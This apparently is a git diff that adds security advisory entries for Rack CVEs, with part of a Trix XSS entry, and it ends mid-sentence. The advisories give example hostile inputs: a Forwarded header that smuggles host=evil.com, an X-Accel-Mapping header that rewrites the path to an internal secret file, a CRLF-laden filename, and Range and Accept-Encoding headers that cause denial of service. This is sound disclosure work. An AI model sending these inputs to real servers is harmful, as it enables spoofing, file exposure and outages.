sanitizer) + are additionally protected, as the payload is neutralized on save. + + ### Patches + + Update Recommendation: Users should upgrade to Trix editor + version 2.1.18 or later. + + ### References + + The XSS vulnerability was responsibly reported by Hackerone + researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma). + cvss_v4: 2.1 + patched_versions: + - ">= 2.1.18" + related: + url: + - https://github.com/basecamp/trix/security/advisories/GHSA-53p3-c7vp-4mcc + - https://github.com/basecamp/trix/releases/tag/v2.1.18 + - https://github.com/basecamp/trix/commit/9c0a993d9fc2ffe9d56b013b030bc238f9c0557c + - https://github.com/advisories/GHSA-53p3-c7vp-4mcc +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-26961.md b/advisories/_posts/2026-04-02-CVE-2026-26961.md new file mode 100644 index 00000000..2309fe53 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-26961.md @@ -0,0 +1,92 @@ +--- +layout: advisory +title: 'CVE-2026-26961 (rack): Rack''s greedy multipart boundary parsing can cause + parser differentials and WAF bypass.' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-26961 + ghsa: vgpv-f759-9wx3 + url: https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3 + title: Rack's greedy multipart boundary parsing can cause parser differentials and + WAF bypass. + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Multipart::Parser` extracts the `boundary` parameter from + `multipart/form-data` using a greedy regular expression. When a + `Content-Type` header contains multiple `boundary` parameters, + Rack selects the last one rather than the first. + + In deployments where an upstream proxy, WAF, or intermediary + interprets the first `boundary` parameter, this mismatch can + allow an attacker to smuggle multipart content past upstream + inspection and have Rack parse a different body structure than + the intermediary validated. + + ## Details + + Rack identifies the multipart boundary using logic equivalent to: + + ```ruby + MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|ni + ``` + + Because the expression is greedy, it matches the last `boundary=` + parameter in a header such as: + + ```http + Content-Type: multipart/form-data; boundary=safe; boundary=malicious + ``` + + As a result, Rack parses the request body using `malicious`, while + another component may interpret the same header using `safe`. + + This creates an interpretation conflict. If an upstream WAF or proxy + inspects multipart parts using the first boundary and Rack later + parses the body using the last boundary, a client may be able to + place malicious form fields or uploaded content in parts that Rack + accepts but the upstream component did not inspect as intended. + + This issue is most relevant in layered deployments where security + decisions are made before the request reaches Rack. + + ## Impact + + Applications that accept `multipart/form-data` uploads behind an + inspecting proxy or WAF may be affected. + + In such deployments, an attacker may be able to bypass upstream + filtering of uploaded files or form fields by sending a request + with multiple `boundary` parameters and relying on the intermediary + and Rack to parse the request differently. + + The practical impact depends on deployment architecture. If no + upstream component relies on a different multipart interpretation, + this behavior may not provide meaningful additional attacker capability. + + ## Mitigation + + * Update to a patched version of Rack that rejects ambiguous multipart + `Content-Type` headers or parses duplicate `boundary` parameters + consistently. + * Reject requests containing multiple `boundary` parameters. + * Normalize or regenerate multipart metadata at the trusted edge + before forwarding requests to Rack. + * Avoid relying on upstream inspection of malformed multipart + requests unless duplicate parameter handling is explicitly + consistent across components. + cvss_v3: 3.7 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-26961 + - https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3 + - https://github.com/advisories/GHSA-vgpv-f759-9wx3 +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-26962.md b/advisories/_posts/2026-04-02-CVE-2026-26962.md new file mode 100644 index 00000000..b848bd44 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-26962.md @@ -0,0 +1,90 @@ +--- +layout: advisory +title: 'CVE-2026-26962 (rack): Rack''s improper unfolding of folded multipart headers + preserves CRLF in parsed parameter values' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-26962 + ghsa: rx22-g9mx-qrhv + url: https://github.com/rack/rack/security/advisories/GHSA-rx22-g9mx-qrhv + title: Rack's improper unfolding of folded multipart headers preserves CRLF in parsed + parameter values + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Multipart::Parser` unfolds folded multipart part headers + incorrectly. When a multipart header contains an obs-fold sequence, + Rack preserves the embedded CRLF in parsed parameter values such + as `filename` or `name` instead of removing the folded line break + during unfolding. + + As a result, applications that later reuse those parsed values in + HTTP response headers may be vulnerable to downstream header + injection or response splitting. + + ## Details + + `Rack::Multipart::Parser` accepts folded multipart header values and + unfolds them during parsing. However, the unfolding behavior does + not fully remove the embedded line break sequence from the parsed value. + + This means a multipart part header such as: + + ```http + Content-Disposition: form-data; name="file"; filename="test\r + foo.txt" + ``` + + can result in a parsed parameter value that still contains CRLF characters. + + The issue is not that Rack creates a second multipart header field. + Rather, the problem is that CRLF remains embedded in the parsed + metadata value after unfolding. If an application later uses that + value in a security-sensitive context, such as constructing an HTTP + response header, the preserved CRLF may alter downstream header parsing. + + Affected values may include multipart parameters such as + `filename`, `name`, or similar parsed header attributes. + + ## Impact + + Applications that accept multipart form uploads may be affected if + they later reuse parsed multipart metadata in HTTP headers or other + header-sensitive contexts. + + In affected deployments, an attacker may be able to supply a multipart + parameter value containing folded line breaks and cause downstream + header injection, response splitting, cache poisoning, or related + response parsing issues. + + The practical impact depends on application behavior. If parsed + multipart metadata is not reused in HTTP headers, the issue may + be limited to incorrect parsing behavior rather than a direct + exploit path. + + ## Mitigation + + * Update to a patched version of Rack that removes CRLF correctly + when unfolding folded multipart header values. + * Avoid copying upload metadata such as `filename` directly into + HTTP response headers without sanitization. + * Sanitize or reject carriage return and line feed characters in + multipart-derived values before reusing them in response headers, + logs, or downstream protocol contexts. + * Where feasible, normalize uploaded filenames before storing or + reflecting them. + cvss_v3: 4.8 + unaffected_versions: + - "< 3.2.0" + patched_versions: + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-26962 + - https://github.com/rack/rack/security/advisories/GHSA-rx22-g9mx-qrhv + - https://github.com/advisories/GHSA-rx22-g9mx-qrhv +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-32762.md b/advisories/_posts/2026-04-02-CVE-2026-32762.md new file mode 100644 index 00000000..38f518b6 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-32762.md @@ -0,0 +1,108 @@ +--- +layout: advisory +title: 'CVE-2026-32762 (rack): Rack - Forwarded Header semicolon injection enables + Host and Scheme spoofing' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-32762 + ghsa: qfgr-crr9-7r49 + url: https://github.com/rack/rack/security/advisories/GHSA-qfgr-crr9-7r49 + title: Rack - Forwarded Header semicolon injection enables Host and Scheme spoofing + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Utils.forwarded_values` parses the RFC 7239 `Forwarded` header + by splitting on semicolons before handling quoted-string values. + Because quoted values may legally contain semicolons, a header such as: + + ```http + Forwarded: for="127.0.0.1;host=evil.com;proto=https" + ``` + + can be interpreted by Rack as multiple `Forwarded` directives rather + than as a single quoted `for` value. + + In deployments where an upstream proxy, WAF, or intermediary validates + or preserves quoted `Forwarded` values differently, this discrepancy + can allow an attacker to smuggle `host`, `proto`, `for`, or `by` + parameters through a single header value. + + ## Details + + `Rack::Utils.forwarded_values` processes the header using logic + equivalent to: + + ```ruby + forwarded_header.split(';').each_with_object({}) do |field, values| + field.split(',').each do |pair| + pair = pair.split('=').map(&:strip).join('=') + return nil unless pair =~ /\A(by|for|host|proto)="?([^"]+)"?\Z/i + (values[$1.downcase.to_sym] ||= []) << $2 + end + end + ``` + + The method splits on `;` before it parses individual `name=value` + pairs. This is inconsistent with RFC 7239, which permits quoted-string + values, and quoted strings may contain semicolons as literal content. + + As a result, a header value such as: + + ```http + Forwarded: for="127.0.0.1;host=evil.com;proto=https" + ``` + + is not treated as a single `for` value. Instead, Rack may interpret + it as if the client had supplied separate `for`, `host`, and `proto` + directives. + + This creates an interpretation conflict when another component in + front of Rack treats the quoted value as valid literal content, + while Rack reparses it as multiple forwarding parameters. + + ## Impact + + Applications that rely on `Forwarded` to derive request metadata + may observe attacker-controlled values for `host`, `proto`, `for`, + or related URL components. + + In affected deployments, this can lead to host or scheme spoofing + in derived values such as `req.host`, `req.scheme`, `req.base_url`, + or `req.url`. Applications that use those values for password reset + links, redirects, absolute URL generation, logging, IP-based + decisions, or backend requests may be vulnerable to downstream + security impact. + + The practical security impact depends on deployment architecture. + If clients can already supply arbitrary trusted `Forwarded` + parameters directly, this bug may not add meaningful attacker + capability. The issue is most relevant where an upstream component + and Rack interpret the same `Forwarded` header differently. + + ## Mitigation + + * Update to a patched version of Rack that parses `Forwarded` + quoted-string values before splitting on parameter delimiters. + * Avoid trusting client-supplied `Forwarded` headers unless they + are normalized or regenerated by a trusted reverse proxy. + * Prefer stripping inbound `Forwarded` headers at the edge and + reconstructing them from trusted proxy metadata. + * Avoid using `req.host`, `req.scheme`, `req.base_url`, or + `req.url` for security-sensitive operations unless the forwarding + chain is explicitly trusted and validated. + cvss_v3: 4.8 + unaffected_versions: + - "< 3.0.0.beta1" + patched_versions: + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-32762 + - https://github.com/rack/rack/security/advisories/GHSA-qfgr-crr9-7r49 + - https://github.com/advisories/GHSA-qfgr-crr9-7r49 +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34230.md b/advisories/_posts/2026-04-02-CVE-2026-34230.md new file mode 100644 index 00000000..4cf6b4e6 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34230.md @@ -0,0 +1,107 @@ +--- +layout: advisory +title: 'CVE-2026-34230 (rack): Rack has quadratic complexity in Rack::Utils.select_best_encoding + via wildcard Accept-Encoding header' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34230 + ghsa: v569-hp3g-36wr + url: https://github.com/rack/rack/security/advisories/GHSA-v569-hp3g-36wr + title: Rack has quadratic complexity in Rack::Utils.select_best_encoding via wildcard + Accept-Encoding header + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Utils.select_best_encoding` processes `Accept-Encoding` values + with quadratic time complexity when the header contains many + wildcard (`*`) entries. Because this method is used by `Rack::Deflater` + to choose a response encoding, an unauthenticated attacker can send + a single request with a crafted `Accept-Encoding` header and cause + disproportionate CPU consumption on the compression middleware path. + + This results in a denial of service condition for applications + using `Rack::Deflater`. + + ## Details + + `Rack::Utils.select_best_encoding` expands parsed `Accept-Encoding` + values into a list of candidate encodings. When an entry is `*`, + the method computes the set of concrete encodings by subtracting + the encodings already present in the request: + + ```ruby + if m == "*" + (available_encodings - accept_encoding.map(&:first)).each do |m2| + expanded_accept_encoding << [m2, q, preference] + end + else + expanded_accept_encoding << [m, q, preference] + end + ``` + + Because `accept_encoding.map(&:first)` is evaluated inside the loop, + it is recomputed for each wildcard entry. If the request contains + `N` wildcard entries, this produces repeated scans over the full + parsed header and causes quadratic behavior. + + After expansion, the method also performs additional work over + `expanded_accept_encoding`, including per-entry deletion, which + further increases the cost for large inputs. + + `Rack::Deflater` invokes this method for each request when the + middleware is enabled: + + ```ruby + Utils.select_best_encoding(ENCODINGS, Utils.parse_encodings(accept_encoding)) + ``` + + As a result, a client can trigger this expensive code path simply + by sending a large `Accept-Encoding` header containing many + repeated wildcard values. + + For example, a request with an approximately 8 KB `Accept-Encoding` + header containing about 1,000 `*;q=0.5` entries can cause roughly + 170 ms of CPU time in a single request on the `Rack::Deflater` + path, compared to a negligible baseline for a normal header. + + This issue is distinct from CVE-2024-26146. That issue concerned + regular expression denial of service during `Accept` header parsing, + whereas this issue arises later during encoding selection after + the header has already been parsed. + + ## Impact + + Any Rack application using `Rack::Deflater` may be affected. + + An unauthenticated attacker can send requests with crafted + `Accept-Encoding` headers to trigger excessive CPU usage in the + encoding selection logic. Repeated requests can consume worker + time disproportionately and reduce application availability. + + The attack does not require invalid HTTP syntax or large payload + bodies. A single header-sized request is sufficient to reach the + vulnerable code path. + + ## Mitigation + + * Update to a patched version of Rack in which encoding selection + does not repeatedly rescan the parsed header for wildcard entries. + * Avoid enabling `Rack::Deflater` on untrusted traffic. + * Apply request filtering or header size / format restrictions + at the reverse proxy or application boundary to limit abusive + `Accept-Encoding` values. + cvss_v3: 5.3 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34230 + - https://github.com/rack/rack/security/advisories/GHSA-v569-hp3g-36wr + - https://github.com/advisories/GHSA-v569-hp3g-36wr +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34763.md b/advisories/_posts/2026-04-02-CVE-2026-34763.md new file mode 100644 index 00000000..c5d95bb7 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34763.md @@ -0,0 +1,71 @@ +--- +layout: advisory +title: 'CVE-2026-34763 (rack): Rack has a root directory disclosure via unescaped + regex interpolation in Rack::Directory' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34763 + ghsa: 7mqq-6cf9-v2qp + url: https://github.com/rack/rack/security/advisories/GHSA-7mqq-6cf9-v2qp + title: Rack has a root directory disclosure via unescaped regex interpolation in + Rack::Directory + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Directory` interpolates the configured `root` path directly + into a regular expression when deriving the displayed directory path. + If `root` contains regex metacharacters such as `+`, `*`, or `.`, + the prefix stripping can fail and the generated directory listing + may expose the full filesystem path in the HTML output. + + ## Details + + `Rack::Directory::DirectoryBody#each` computes the visible path + using code equivalent to: + + ```ruby + show_path = Utils.escape_html(path.sub(/\A#{root}/, '')) + ``` + + Here, `root` is a developer-configured filesystem path. It is + normalized earlier with `File.expand_path(root)` and then inserted + directly into a regular expression without escaping. + + Because the value is treated as regex syntax rather than as a + literal string, metacharacters in the configured path can change + how the prefix match behaves. When that happens, the expected root + prefix is not removed from `path`, and the absolute filesystem path + is rendered into the HTML directory listing. + + ## Impact + + If `Rack::Directory` is configured to serve a directory whose + absolute path contains regex metacharacters, the generated directory + listing may disclose the full server filesystem path instead of + only the request-relative path. + + This can expose internal deployment details such as directory + layout, usernames, mount points, or naming conventions that would + otherwise not be visible to clients. + + ## Mitigation + + * Update to a patched version of Rack in which the root prefix + is removed using an escaped regular expression. + * Avoid using `Rack::Directory` with a root path that contains + regular expression metacharacters. + cvss_v3: 5.3 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34763 + - https://github.com/rack/rack/security/advisories/GHSA-7mqq-6cf9-v2qp + - https://github.com/advisories/GHSA-7mqq-6cf9-v2qp +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34785.md b/advisories/_posts/2026-04-02-CVE-2026-34785.md new file mode 100644 index 00000000..43fcb360 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34785.md @@ -0,0 +1,95 @@ +--- +layout: advisory +title: 'CVE-2026-34785 (rack): Rack::Static prefix matching can expose unintended + files under the static root' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34785 + ghsa: h2jq-g4cq-5ppq + url: https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq + title: Rack::Static prefix matching can expose unintended files under the static + root + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Static` determines whether a request should be served as a + static file using a simple string prefix check. When configured + with URL prefixes such as `"/css"`, it matches any request path + that begins with that string, including unrelated paths such as + `"/css-config.env"` or `"/css-backup.sql"`. + + As a result, files under the static root whose names merely share + the configured prefix may be served unintentionally, leading to + information disclosure. + + ## Details + + `Rack::Static#route_file` performs static-route matching using + logic equivalent to: + + ```ruby + @urls.any? { |url| path.index(url) == 0 } + ``` + + This checks only whether the request path starts with the configured + prefix string. It does not require a path segment boundary after the prefix. + + For example, with: + + ```ruby + use Rack::Static, urls: ["/css", "/js"], root: "public" + ``` + + the following path is matched as intended: + + ```text + /css/style.css + ``` + + but these paths are also matched: + + ```text + /css-config.env + /css-backup.sql + /csssecrets.yml + ``` + + If such files exist under the configured static root, Rack forwards + the request to the file server and serves them as static content. + + This means a configuration intended to expose only directory trees + such as `/css/...` and `/js/...` may also expose sibling files + whose names begin with those same strings. + + ## Impact + + An attacker can request files under the configured static root whose + names share a configured URL prefix and obtain their contents. + + In affected deployments, this may expose configuration files, + secrets, backups, environment files, or other unintended static + content located under the same root directory. + + ## Mitigation + + * Update to a patched version of Rack that enforces a path boundary + when matching configured static URL prefixes. + * Match only paths that are either exactly equal to the configured + prefix or begin with `prefix + "/"`. + * Avoid placing sensitive files under the `Rack::Static` root directory. + * Prefer static URL mappings that cannot overlap with sensitive filenames. + cvss_v3: 7.5 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34785 + - https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq + - https://github.com/advisories/GHSA-h2jq-g4cq-5ppq +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34786.md b/advisories/_posts/2026-04-02-CVE-2026-34786.md new file mode 100644 index 00000000..0b77a140 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34786.md @@ -0,0 +1,97 @@ +--- +layout: advisory +title: 'CVE-2026-34786 (rack): Rack:: Static header_rules bypass via URL-encoded paths' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34786 + ghsa: q4qf-9j86-f5mh + url: https://github.com/rack/rack/security/advisories/GHSA-q4qf-9j86-f5mh + title: 'Rack:: Static header_rules bypass via URL-encoded paths' + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Static#applicable_rules` evaluates several `header_rules` + types against the raw URL-encoded `PATH_INFO`, while the underlying + file-serving path is decoded before the file is served. As a result, + a request for a URL-encoded variant of a static path can serve + the same file without the headers that `header_rules` were intended to apply. + + In deployments that rely on `Rack::Static` to attach security-relevant + response headers to static content, this can allow an attacker to + bypass those headers by requesting an encoded form of the path. + + ## Details + + `Rack::Static#applicable_rules` matches rule types such as `:fonts`, + `Array`, and `Regexp` directly against the incoming `PATH_INFO`. For example: + + ```ruby + when :fonts + /\.(?:ttf|otf|eot|woff2|woff|svg)\z/.match?(path) + when Array + /\.(#{rule.join('|')})\z/.match?(path) + when Regexp + rule.match?(path) + ``` + + These checks operate on the raw request path. If the request contains + encoded characters such as `%2E` in place of `.`, the rule may fail + to match even though the file path is later decoded and served + successfully by the static file server. + + For example, both of the following requests may resolve to the + same file on disk: + + ```text + /fonts/test.woff + /fonts/test%2Ewoff + ``` + + but only the unencoded form may receive the headers configured + through `header_rules`. + + This creates a canonicalization mismatch between the path used + for header policy decisions and the path ultimately used for file serving. + + ## Impact + + Applications that rely on `Rack::Static` `header_rules` to apply + security-relevant headers to static files may be affected. + + In affected deployments, an attacker can request an encoded + variant of a static file path and receive the same file without + the intended headers. Depending on how `header_rules` are used, + this may bypass protections such as clickjacking defenses, content + restrictions, or other response policies applied to static content. + + The practical impact depends on the configured rules and the types + of files being served. If `header_rules` are only used for + non-security purposes such as caching, the issue may have limited + security significance. + + ## Mitigation + + * Update to a patched version of Rack that applies `header_rules` + to a decoded path consistently with static file resolution. + * Do not rely solely on `Rack::Static` `header_rules` for + security-critical headers where encoded path variants may + reach the application. + * Prefer setting security headers at the reverse proxy or web server + layer so they apply consistently to both encoded and unencoded path forms. + * Normalize or reject encoded path variants for static content + at the edge, where feasible. + cvss_v3: 5.3 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34786 + - https://github.com/rack/rack/security/advisories/GHSA-q4qf-9j86-f5mh + - https://github.com/advisories/GHSA-q4qf-9j86-f5mh +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34826.md b/advisories/_posts/2026-04-02-CVE-2026-34826.md new file mode 100644 index 00000000..3b8ea270 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34826.md @@ -0,0 +1,86 @@ +--- +layout: advisory +title: 'CVE-2026-34826 (rack): Rack''s multipart byte range processing allows denial + of service via excessive overlapping ranges' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34826 + ghsa: x8cg-fq8g-mxfx + url: https://github.com/rack/rack/security/advisories/GHSA-x8cg-fq8g-mxfx + title: Rack's multipart byte range processing allows denial of service via excessive + overlapping ranges + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Utils.get_byte_ranges` parses the HTTP `Range` header without + limiting the number of individual byte ranges. Although the existing + fix for CVE-2024-26141 rejects ranges whose total byte coverage + exceeds the file size, it does not restrict the count of ranges. + An attacker can supply many small overlapping ranges such as + `0-0,0-0,0-0,...` to trigger disproportionate CPU, memory, I/O, + and bandwidth consumption per request. + + This results in a denial of service condition in Rack file-serving + paths that process multipart byte range responses. + + ## Details + + `Rack::Utils.get_byte_ranges` accepts a comma-separated list of byte + ranges and validates them based on their aggregate size, but does + not impose a limit on how many individual ranges may be supplied. + + As a result, a request such as: + + ```http + Range: bytes=0-0,0-0,0-0,0-0,... + ``` + + can contain thousands of overlapping one-byte ranges while still + satisfying the total-size check added for CVE-2024-26141. + + When such a header is processed by Rack’s file-serving code, each + range causes additional work, including multipart response generation, + per-range iteration, file seek and read operations, and temporary + string allocation for response size calculation and output. This + allows a relatively small request header to trigger disproportionately + expensive processing and a much larger multipart response. + + The issue is distinct from CVE-2024-26141. That fix prevents range + sets whose total byte coverage exceeds the file size, but does not + prevent a large number of overlapping ranges whose summed size + remains within that limit. + + ## Impact + + Applications that expose file-serving paths with byte range support + may be vulnerable to denial of service. + + An unauthenticated attacker can send crafted `Range` headers containing + many small overlapping ranges to consume excessive CPU time, memory, + file I/O, and bandwidth. Repeated requests may reduce application + availability and increase pressure on workers and garbage collection. + + ## Mitigation + + * Update to a patched version of Rack that limits the number + of accepted byte ranges. + * Reject or normalize multipart byte range requests containing + excessive range counts. + * Consider disabling multipart range support where it is not required. + * Apply request filtering or header restrictions at the reverse + proxy or application boundary to limit abusive `Range` headers. + cvss_v3: 5.3 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34826 + - https://github.com/rack/rack/security/advisories/GHSA-x8cg-fq8g-mxfx + - https://github.com/advisories/GHSA-x8cg-fq8g-mxfx +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34827.md b/advisories/_posts/2026-04-02-CVE-2026-34827.md new file mode 100644 index 00000000..518ee69f --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34827.md @@ -0,0 +1,81 @@ +--- +layout: advisory +title: 'CVE-2026-34827 (rack): Rack''s multipart header parsing allows Denial of Service + via escape-heavy quoted parameters' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34827 + ghsa: v6x5-cg8r-vv6x + url: https://github.com/rack/rack/security/advisories/GHSA-v6x5-cg8r-vv6x + title: Rack's multipart header parsing allows Denial of Service via escape-heavy + quoted parameters + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Multipart::Parser#handle_mime_head` parses quoted multipart + parameters such as `Content-Disposition: form-data; name="..."` + using repeated `String#index` searches combined with `String#slice!` + prefix deletion. For escape-heavy quoted values, this causes + super-linear processing. + + An unauthenticated attacker can send a crafted `multipart/form-data` + request containing many parts with long backslash-escaped parameter + values to trigger excessive CPU usage during multipart parsing. + + This results in a denial of service condition in Rack applications + that accept multipart form data. + + ## Details + + `Rack::Multipart::Parser#handle_mime_head` parses quoted parameter + values by repeatedly: + + 1. Searching for the next quote or backslash, + 2. Copying the preceding substring into a new buffer, and + 3. Removing the processed prefix from the original string with `slice!`. + + An attacker can exploit this by sending a multipart request with many + parts whose `name` parameters contain long escape-heavy values such as: + + ```text + name="a\\a\\a\\a\\a\\..." + ``` + + Under default Rack limits, a request can contain up to 4095 parts. If + many of those parts use long quoted values with dense escape characters, + the parser performs disproportionately expensive CPU work while + remaining within normal request size and part-count limits. + + ## Impact + + Any Rack application that accepts `multipart/form-data` requests may be + affected, including file upload endpoints and standard HTML form handlers. + + An unauthenticated attacker can send crafted multipart requests that + consume excessive CPU time during request parsing. Repeated requests + can tie up application workers, reduce throughput, and degrade or + deny service availability. + + ## Mitigation + + * Update to a patched version of Rack that parses quoted multipart + parameters without repeated rescanning and destructive prefix deletion. + * Apply request throttling or rate limiting to multipart upload endpoints. + * Where operationally feasible, restrict or isolate multipart parsing + on untrusted high-volume endpoints. + cvss_v3: 7.5 + unaffected_versions: + - "< 3.0.0.beta1" + patched_versions: + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34827 + - https://github.com/rack/rack/security/advisories/GHSA-v6x5-cg8r-vv6x + - https://github.com/advisories/GHSA-v6x5-cg8r-vv6x +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34829.md b/advisories/_posts/2026-04-02-CVE-2026-34829.md new file mode 100644 index 00000000..a5312f1f --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34829.md @@ -0,0 +1,89 @@ +--- +layout: advisory +title: 'CVE-2026-34829 (rack): Rack''s multipart parsing without Content-Length header + allows unbounded chunked file uploads' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34829 + ghsa: 8vqr-qjwx-82mw + url: https://github.com/rack/rack/security/advisories/GHSA-8vqr-qjwx-82mw + title: Rack's multipart parsing without Content-Length header allows unbounded chunked + file uploads + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Multipart::Parser` only wraps the request body in a `BoundedIO` + when `CONTENT_LENGTH` is present. When a `multipart/form-data` request + is sent without a `Content-Length` header, such as with HTTP chunked + transfer encoding, multipart parsing continues until end-of-stream + with no total size limit. + + For file parts, the uploaded body is written directly to a temporary + file on disk rather than being constrained by the buffered in-memory + upload limit. An unauthenticated attacker can therefore stream an + arbitrarily large multipart file upload and consume unbounded disk space. + + This results in a denial of service condition for Rack applications + that accept multipart form data. + + ## Details + + `Rack::Multipart::Parser.parse` applies `BoundedIO` only when + `content_length` is not `nil`: + + ```ruby + io = BoundedIO.new(io, content_length) if content_length + ``` + + When `CONTENT_LENGTH` is absent, the parser reads the multipart body + until EOF without a global byte limit. + + Although Rack enforces `BUFFERED_UPLOAD_BYTESIZE_LIMIT` for retained + non-file parts, file uploads are handled differently. When a multipart + part includes a filename, the body is streamed to a `Tempfile`, and + the retained-size accounting is not applied to that file content. + As a result, file parts are not subject to the same upload size bound. + + An attacker can exploit this by sending a chunked `multipart/form-data` + request containing a file part and continuously streaming data without + declaring a `Content-Length`. Rack will continue writing the uploaded + data to disk until the client stops or the server exhausts available storage. + + ## Impact + + Any Rack application that accepts `multipart/form-data` uploads may be + affected if no upstream component enforces a request body size limit. + + An unauthenticated attacker can send a large chunked file upload to + consume disk space on the application host. This may cause request + failures, application instability, or broader service disruption if + the host runs out of available storage. + + The practical impact depends on deployment architecture. Reverse proxies + or application servers that enforce upload limits may reduce or eliminate + exploitability, but Rack itself does not impose a total multipart + upload limit in this code path when `CONTENT_LENGTH` is absent. + + ## Mitigation + + * Update to a patched version of Rack that enforces a total multipart + upload size limit even when `CONTENT_LENGTH` is absent. + * Enforce request body size limits at the reverse proxy or + application server. + * Isolate temporary upload storage and monitor disk consumption + for multipart endpoints. + cvss_v3: 7.5 + patched_versions: + - "~> 2.2.23" + - "~> 3.1.21" + - ">= 3.2.6" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-34829 + - https://github.com/rack/rack/security/advisories/GHSA-8vqr-qjwx-82mw + - https://github.com/advisories/GHSA-8vqr-qjwx-82mw +--- diff --git a/advisories/_posts/2026-04-02-CVE-2026-34830.md b/advisories/_posts/2026-04-02-CVE-2026-34830.md new file mode 100644 index 00000000..ec441b82 --- /dev/null +++ b/advisories/_posts/2026-04-02-CVE-2026-34830.md @@ -0,0 +1,107 @@ +--- +layout: advisory +title: 'CVE-2026-34830 (rack): Rack::Sendfile header-based X-Accel-Mapping regex injection + enables unauthorized X-Accel-Redirect' +comments: false +categories: +- rack +advisory: + gem: rack + cve: 2026-34830 + ghsa: qv7j-4883-hwh7 + url: https://github.com/rack/rack/security/advisories/GHSA-qv7j-4883-hwh7 + title: Rack::Sendfile header-based X-Accel-Mapping regex injection enables unauthorized + X-Accel-Redirect + date: 2026-04-02 + description: |- + ## Summary + + `Rack::Sendfile#map_accel_path` interpolates the value of the + `X-Accel-Mapping` request header directly into a regular expression + when rewriting file paths for `X-Accel-Redirect`. Because the header + value is not escaped, an attacker who can supply `X-Accel-Mapping` + to the backend can inject regex metacharacters and control the + generated `X-Accel-Redirect` response header. + + In deployments using `Rack::Sendfile` with `x-accel-redirect`, this + can allow an attacker to cause nginx to serve unintended files + from configured internal locations. + + ## Details + + `Rack::Sendfile#map_accel_path` processes header-supplied mappings + using logic equivalent to: + + ```ruby + mapping.split(',').map(&:strip).each do |m| + internal, external = m.split('=', 2).map(&:strip) + new_path = path.sub(/\A#{internal}/i, external) + return new_path unless path == new_path + end + ``` + + Here, `internal` comes from the `HTTP_X_ACCEL_MAPPING` request header + and is inserted directly into a regular expression without escaping. + This gives the header value regex semantics rather than treating + it as a literal prefix. + + As a result, an attacker can supply metacharacters such as `.*` + or capture groups to alter how the path substitution is performed. + For example, a mapping such as: + + ```http + X-Accel-Mapping: .*=/protected/secret.txt + ``` + + causes the entire source path to match and rewrites the redirect + target to a clean attacker-chosen internal path. + + This differs from the documented behavior of the header-based + mapping path, which is described as a simple substitution. While + application-supplied mappings may intentionally support regular + expressions, header-supplied mappings should be treated as + literal path prefixes. + + The issue is only exploitable when untrusted `X-Accel-Mapping` + headers can reach 